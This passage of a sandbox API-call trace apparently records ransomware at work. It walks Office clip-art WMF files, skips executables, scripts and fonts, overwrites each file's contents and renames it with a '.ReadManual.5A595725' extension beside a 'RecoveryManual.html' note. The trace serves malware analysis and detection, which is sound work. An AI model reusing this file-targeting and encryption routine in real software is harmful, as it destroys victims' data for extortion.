[0269.206] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.206] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38987459669) returned 1 [0269.206] CloseHandle (hObject=0x184) returned 1 [0269.206] SetSecurityInfo () returned 0x57 [0269.206] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.206] CloseHandle (hObject=0x194) returned 1 [0269.206] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0269.206] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285796.WMF" | out: lpString1="J0285796.WMF") returned="J0285796.WMF" [0269.206] lstrcmpiW (lpString1="J0285796.WMF", lpString2="RecoveryManual.html") returned -1 [0269.206] StrStrIW (lpFirst="J0285796.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.206] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.206] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.207] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.207] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" [0269.207] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ReadManual.5A595725" [0269.207] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF.ReadManual.5A595725") returned 87 [0269.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38987574704) returned 1 [0269.207] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf")) returned 0x20 [0269.207] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.208] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13648) returned 1 [0269.208] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3550, lpName=0x0) returned 0x184 [0269.208] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.208] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.208] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.210] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.210] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3550) returned 0x2f0000 [0269.210] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38987930395) returned 1 [0269.211] CloseHandle (hObject=0x184) returned 1 [0269.211] SetSecurityInfo () returned 0x57 [0269.211] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.211] CloseHandle (hObject=0x194) returned 1 [0269.211] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0269.211] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285808.WMF" | out: lpString1="J0285808.WMF") returned="J0285808.WMF" [0269.211] lstrcmpiW (lpString1="J0285808.WMF", lpString2="RecoveryManual.html") returned -1 [0269.211] StrStrIW (lpFirst="J0285808.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.211] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.211] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.211] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" [0269.211] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ReadManual.5A595725" [0269.211] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF.ReadManual.5A595725") returned 87 [0269.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38988026007) returned 1 [0269.212] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf")) returned 0x20 [0269.212] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.213] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9204) returned 1 [0269.213] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23f4, lpName=0x0) returned 0x184 [0269.213] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.213] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.213] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.215] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.215] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23f4) returned 0x2f0000 [0269.216] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.216] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38988448329) returned 1 [0269.216] CloseHandle (hObject=0x184) returned 1 [0269.216] SetSecurityInfo () returned 0x57 [0269.216] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.216] CloseHandle (hObject=0x194) returned 1 [0269.216] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0269.216] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285820.WMF" | out: lpString1="J0285820.WMF") returned="J0285820.WMF" [0269.216] lstrcmpiW (lpString1="J0285820.WMF", lpString2="RecoveryManual.html") returned -1 [0269.216] StrStrIW (lpFirst="J0285820.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.216] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.216] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.217] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.217] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.217] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" [0269.217] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ReadManual.5A595725" [0269.217] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF.ReadManual.5A595725") returned 87 [0269.217] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38988546491) returned 1 [0269.217] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf")) returned 0x20 [0269.217] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.217] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8720) returned 1 [0269.217] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2210, lpName=0x0) returned 0x184 [0269.217] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.218] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.218] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.220] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.220] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2210) returned 0x2f0000 [0269.220] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.220] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38988895730) returned 1 [0269.220] CloseHandle (hObject=0x184) returned 1 [0269.220] SetSecurityInfo () returned 0x57 [0269.220] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.220] CloseHandle (hObject=0x194) returned 1 [0269.220] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0269.221] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0285822.WMF" | out: lpString1="J0285822.WMF") returned="J0285822.WMF" [0269.221] lstrcmpiW (lpString1="J0285822.WMF", lpString2="RecoveryManual.html") returned -1 [0269.221] StrStrIW (lpFirst="J0285822.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.221] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.221] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.221] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" [0269.221] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ReadManual.5A595725" [0269.221] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF.ReadManual.5A595725") returned 87 [0269.221] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38988995242) returned 1 [0269.221] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf")) returned 0x20 [0269.222] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.222] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8608) returned 1 [0269.222] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a0, lpName=0x0) returned 0x184 [0269.222] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.223] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.223] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.225] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.225] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21a0) returned 0x2f0000 [0269.225] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.225] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38989415153) returned 1 [0269.225] CloseHandle (hObject=0x184) returned 1 [0269.225] SetSecurityInfo () returned 0x57 [0269.226] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.226] CloseHandle (hObject=0x194) returned 1 [0269.226] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0269.226] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287018.WMF" | out: lpString1="J0287018.WMF") returned="J0287018.WMF" [0269.226] lstrcmpiW (lpString1="J0287018.WMF", lpString2="RecoveryManual.html") returned -1 [0269.226] StrStrIW (lpFirst="J0287018.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.226] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.226] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.226] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" [0269.227] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ReadManual.5A595725" [0269.227] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF.ReadManual.5A595725") returned 87 [0269.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38989627710) returned 1 [0269.229] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf")) returned 0x20 [0269.229] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.229] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30872) returned 1 [0269.229] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7898, lpName=0x0) returned 0x184 [0269.229] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.231] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.231] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.233] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.233] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7898) returned 0x2f0000 [0269.233] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.234] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38990246266) returned 1 [0269.234] CloseHandle (hObject=0x184) returned 1 [0269.234] SetSecurityInfo () returned 0x57 [0269.234] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.234] CloseHandle (hObject=0x194) returned 1 [0269.234] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0269.234] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0287019.WMF" | out: lpString1="J0287019.WMF") returned="J0287019.WMF" [0269.234] lstrcmpiW (lpString1="J0287019.WMF", lpString2="RecoveryManual.html") returned -1 [0269.234] StrStrIW (lpFirst="J0287019.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.234] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.234] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.234] StrCmpIW (psz1="WMF", 